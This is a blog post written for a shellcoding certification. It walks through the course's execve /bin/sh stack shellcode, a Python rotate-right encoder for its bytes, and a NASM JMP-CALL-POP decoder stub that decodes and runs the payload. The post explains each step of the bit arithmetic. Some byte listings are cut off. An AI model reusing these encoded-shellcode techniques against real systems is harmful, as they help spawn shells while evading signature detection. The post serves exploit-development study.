Skip to main content

SLAE32 - Assignment 4

This is a continuation of a seven (7) part series for the SLAE32 Certification challenge. You can read the first three (3) parts here:

Part 1 - Assignment 1

Part 2 - Assignment 2

Part 3 - Assignment 3

The requirements for this assignment are as follows:

  1. Create a custom encoding scheme like the "Insertion Encoder" we showed you
  2. PoC with using execve-stack as the shellcode to encode with your schema and execute

The code for this assignment can be found on GitHub here:

Supplemental scripts I developed for this course can be found on GitHub here:

Before we get started, let's review the execve-stack.nasm script provided by the SecurityTube Linux Assembly Expert course. This is a standard execve execution of //bin/sh. Nothing too fancy here. We initialize our EAX register, pushes a NULL byte onto the stack, pushes //bin/sh onto the stack in reverse order hs/nib// four (4) bytes at a time, copies the stack pointer into EBX, pushes another NULL byte onto the stack, sets up the *env[] parameter by copying the new stack pointer into EDX, pushes the old stack pointer from EBX back onto the stack and then moves the new stack pointer into ECX. Finally, AL is setup with the EXECVE system call number and the interrupt signal is sent to the processor.

; Filename: execve-stack.nasm
; Author:  Vivek Ramachandran
; Website:
; Training: 
; Purpose: 

global _start   

section .text


     ; PUSH the first null dword 
     xor eax, eax
     push eax

     ; PUSH //bin/sh (8 bytes) 

     push 0x68732f2f
     push 0x6e69622f

     mov ebx, esp
     push eax
     mov edx, esp

     push ebx
     mov ecx, esp

     mov al, 11
     int 0x80

Before we get into the finer details, I want to cover the script and some of the thought process that went into it. While Python is an amazing language, and yes, I'm very partial to scripting in Python, it can't do everything. Where Python fails though, it really succeeds. What I mean by this is that even if something hasn't been implemented yet, building it yourself in Python isn't that difficult most of the time. While Python has most of the bitwise operations, it does not have a bitwise rotate right, or rotate left out of the box. I went searching to see if anyone had built this functionality into Python and stumbled upon this blog:

With these functions in hand, I rewrote them a bit to clear up any confusing code for anyone new to Python that might read this blog. I decided to use rotate right two (2) positions to encode the execve-stack shellcode. The full Python script is below and should be relatively easy to follow. Those new to Python might not fully understand the ror() or rol() functions so I'll break them down before getting too far ahead in this blog.

#!/usr/bin/env python

# by Michael Born (@blu3gl0w13)
# Student-ID: SLAE-744
# September 5, 2016

# handle our imports

import sys

# The following Bitwise rotation functions
# have been translated from the following blog

def ror(valueToBeRotated, rotateAmount):

  return ((valueToBeRotated & 0xff) >> rotateAmount % 8) | \
(valueToBeRotated << (8 - (rotateAmount % 8)) & 0xff)

def rol(valueToBeRotated, rotateAmount):

  return ((valueToBeRotated << (rotateAmount % 8)) & 0xff) | \
((valueToBeRotated & 0xff) >> (8 - (rotateAmount % 8)))

shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69 \

encshellcode = ""
encshellcode2 = ""

for i in bytearray(shellcode):

  x = ror(i, 2)
  #x = i >> 2
  encshellcode += "\\x%02x," % x
  encshellcode2 += "0x%02x," % x

print "\n\nEncoded Shellcode: %s" % encshellcode
print "Encoded Shellcode 2: %s\n\n" % encshellcode2

Before we get to what each of these functions do, let's break down what rotate right and left do. The rotate instruction takes a bit and shifts it to the next position, either right or left. If the bit being shifted is the low bit, it gets shifted to the high bit position. For example, let's see what happens when we rotate 1000 0001 to the right by one. We get 1100 0000. If we rotate 1100 0000 two positions to the left, we wind up with 0000 0011. This differs from the shift instruction in that the rotate instruction wraps the bit around if the rotate operation would cause a bit to rotate off of either end. The shift instruction moves bits to the carry flag if they are shifted off of either end.

For more information, refer to the x86_64 bit Intel Developer's Guide:

If we look at the two functions below and step through them, we can see that they do in fact work very well. Since I'm using the rotate right function, let's step through it and perform some math.

we will call rotate right function as follows:

valueToBeRotated = 1100 0011 (0xC3)
rotateAmount = 2

We start with our valueToBeRotated & 0xff calculation:

1100 0011 & 1111 1111 --> 1100 0011

Because of the order of operatoin, we calculate the modulus operation next:

2 % 8 = 2

So, when we put it together, we get the following:

1100 0011 >> 2 --> 0011 0000

We then handle the right side of the bitwise OR ( | ), and more specifically, we perform the modulus operation, then the subtraction, followed by the left shift, and then the bitwise AND operation. This will yield the right value of the bitwise OR which will be the final operation to yield our final return value. If everything works out well, we should have successfully rotated our initial value. Buckle up, here we go!

(1100 0011 << (8 - (2 % 8)) & 0xff) (1100 0011 << (8 - 2) & 0xff) (1100 0011 << 6 & 0xff) (1100 0000 & 1111 1111) 1100 0000 Ok, now all that is left is the final bitwise OR operation. Remember this is an inclusive OR.

0011 0000 | 1100 0000

1111 0000

This is where we do our happy dance! If we verify a rotate right two (2) positions starting with 1100 0011, we do in fact get 1111 0000. It appears this function works as intended. It's always a good idea to double check.

def ror(valueToBeRotated, rotateAmount):

  return ((valueToBeRotated & 0xff) >> rotateAmount % 8) | \
(valueToBeRotated << (8 - (rotateAmount % 8)) & 0xff)

def rol(valueToBeRotated, rotateAmount):

  return ((valueToBeRotated << (rotateAmount % 8)) & 0xff) | \
((valueToBeRotated & 0xff) >> (8 - (rotateAmount % 8)))

Have we had enough math yet? Never! I know what you're thinking. Hey, why not build the encoder in Assembly? Good question. I believe it was a slight oversight on my part as this would have been much easier to build in assembly. Ah well. Below is the decoder-execve.nasm program which decodes our encoded shellcode. We employ the JMP-CALL-POP technique for ease of accessing the address of our encoded shellcode. We store the address to the encoded shellcode in ESI. We initialize our ECX register and then store the length of our shellcode into the CL register. Next, we'll initialize the EDX register to prepare using it for our temporary location for storing one byte from the encoded shellcode.

Our decode: block will copy a byte from the address in ESI into DL, remember ESI holds the address to our encoded shellcode. Since we encoded with a rotate right, we need to perform a rotate left in order to properly decode this byte. We also have to use the same value for our rotate left, in this case two (2). We then copy our byte back over the same location pointed to by ESI and then increase ESI by one (1). We loop through the decode: block until our ECX register is zero (0). This indicates we've reached the end of our shellcode and it should be fully decoded. The next thing to do is to JMP SHORT to our now decoded shellcode.

; decoder-execve.nasm
; by Michael Born (@blu3gl0w13)
; September 5, 2016
; Student ID: SLAE-744

global _start

section .text


 ; to get address of our
 ; encoded shellcode

     jmp shellcode

     pop esi
     xor ecx, ecx
     mov cl, shellLen
     xor edx, edx 

     mov dl, byte [esi]
     rol dl, 0x2
     mov byte [esi], dl
     inc esi
     loop decode
     jmp short encShellcode

     call decoder
     encShellcode: db  0x4c,0x30,0x14,0x1a,0xcb,0xcb,0xdc,0x1a,0x1a,0xcb,0x98,0x5a,\ 
     shellLen: equ $-encShellcode

Here's the decoder-execve.nasm shellcode which is actually nice and short.


When we run the shellcode, we see it does in fact work. As an added bonus, it's incredibly small at only fifty-one (51) bytes.

Next Part 5 - Assignment 5

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-744


Popular posts from this blog

SLAE/SLAE64 Course Review

  After recently finishing both the SLAE ( ) and SLAE64 ( ) courses available through SecurityTube Training, and earning both certifications, I thought I would write a review of the training itself. Personally, I chose these course as a way to learn Assembly in preparation for the Crack The Perimeter (CTP) course and OSCE certification. After taking the Pentesting With Kali (PWK) class and earning the OSCP, I knew I needed to fill some gaps in my knowledge, and specifically with C and Assembly programming. Seeing that there aren't many training offerings that aim to teach Assembly specific to penetration testing and shellcoding, I gave SLAE a try.   If you don't care about the certification itself, you can obtain all of SecurityTube's videos for a small monthly fee through P

Binary Analysis Cookbook: The Process and Working with Packt

Hello to you, yes you, reading this blog. Thank you for stopping by and I apologize for going silent for a while. Life has been busy in one way or another and unfortunately, this was one area that suffered. Thank you for understanding and please read on. At the end of 2018, I received a LinkedIn message from someone at Packt Publishing inquiring whether I would have any interest in writing a book for them. Naturally, and partly due to my lack of knowledge or experience with the process, I was a bit skeptical. I replied to the e-mail and said I would be interested in finding out more, all while nearly simultaneously I reached out to Packt via their web contact form to verify this person was who she said she was. I mean after all, this kind of thing doesn't normally happen to me and I have done what I can to regain some of my public anonymity following a career in broadcast television.

SLAE64 - Assignment 6

This post is a continuation of a seven (7) part blog series as part of the SLAE64 certification challenge. You can read the previous blog posts using the links below. Previous Posts: SLAE64 - Assignment 1 SLAE64 - Assignment 2 SLAE64 - Assignment 3 SLAE64 - Assignment 4 SLAE64 - Assignment 5 The requirements for Assignment 6 are as follows: Take up 3 shellcodes from shell-storm and create polymorphic versions of them to beat pattern matching The polymorphic versions cannot be larger 150% of the existing shellcode Bonus points for making it shorter in length than original